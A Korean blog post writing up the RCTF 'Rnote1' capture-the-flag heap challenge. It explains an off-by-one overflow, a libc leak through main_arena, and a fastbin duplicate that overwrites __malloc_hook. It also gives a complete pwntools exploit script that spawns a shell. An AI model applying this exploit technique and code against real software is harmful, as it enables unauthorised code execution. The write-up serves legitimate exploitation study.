hOwDayS 선린 10720
RCTF Rnote1 본문
소개
오랜만에 힙문제를 풀고 writeup를 써본다
1byte overflow문제이다
간단하다
보호 기법
RELRO | Partial RELRO |
Stack Canary | No Canary Found |
NX | NX enabled |
PIE | NO PIE |
분석
Add Note , Delete Note , Show Note
Vulnerability
a1 = src , a2 = length
인데 입력을 받을때 for문에서 i < a2 가아닌 i <= a2 되므로 1바이트 오버플로우가 난다.
이걸 이용해 AddNote에서
title를 입력 받는 곳에서 Note conetent의 heap주소 배열의 1바이트를 조작할 수 있다
Leak
smallbin 할당 idx 0
smallbin 할당 idx 1 (오버플로우를 이용해 마지막 바이트를 idx 0으로 맞춤)
free idx 0
shownote idx 1 를 이용해 main_arena + 88 를 릭하고 libc_base 구함
Exploit
fastbin을 3개 할당하고
처음에 할당한 fasebin의 주소를 오버플로우 이용해 두번째 heap주소로 맞춤
fastbin_duplicate를 이용해 overwrite __malloc_hook
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import * p = process("./RNote") e = ELF("./RNote") def NewNote(size,title,content): p.sendlineafter("choice:","1") p.sendlineafter("size:",str(size)) p.sendlineafter("title:",title) p.sendlineafter("content:",content) def DeleteNote(idx): p.sendlineafter("choice:","2") p.sendlineafter("delete:",str(idx)) NewNote(0x80,"AA","BB") NewNote(0x80,"A" * 0x10 + "\x10", "BB") #1 DeleteNote(0) #leak p.sendlineafter("choice:","3") p.sendlineafter("show:","1") p.recvuntil("content: ") libc_base = u64(p.recv(6)+"\x00\x00") - (0x3c4b20 + 88) log.info("libc_base : " + hex(libc_base)) #exploit NewNote(0x80,"CC","BB")#0 NewNote(0x68 , "A" * 0x10 + "\xa0","BB")#2 NewNote(0x68 ,"AA","BB") #3 NewNote(0x68 ,"AA","BB") #4 DeleteNote(3) DeleteNote(4) DeleteNote(2) NewNote(0x68,"hOwDayS",p64(libc_base + 0x3c4b10 - 35)) #malloc hook NewNote(0x68,"AA","BB") NewNote(0x68,"AA","BB") NewNote(0x68,"AA","\x00" * 3 + p64(0)*2 + p64(libc_base+0xf1147)) p.sendlineafter("choice:","1") p.sendlineafter("size:","10") p.interactive() | cs |
'CTF' 카테고리의 다른 글
CyberGuardians 3nd CGhigh (0) | 2018.09.02 |
---|---|
CyberGuardians 3nd GNote (0) | 2018.09.02 |
yisf 2018 예선 writeup (0) | 2018.08.16 |
h3xor ctf my_house (1) | 2018.06.17 |
h3xor ctf easy (0) | 2018.06.17 |
Comments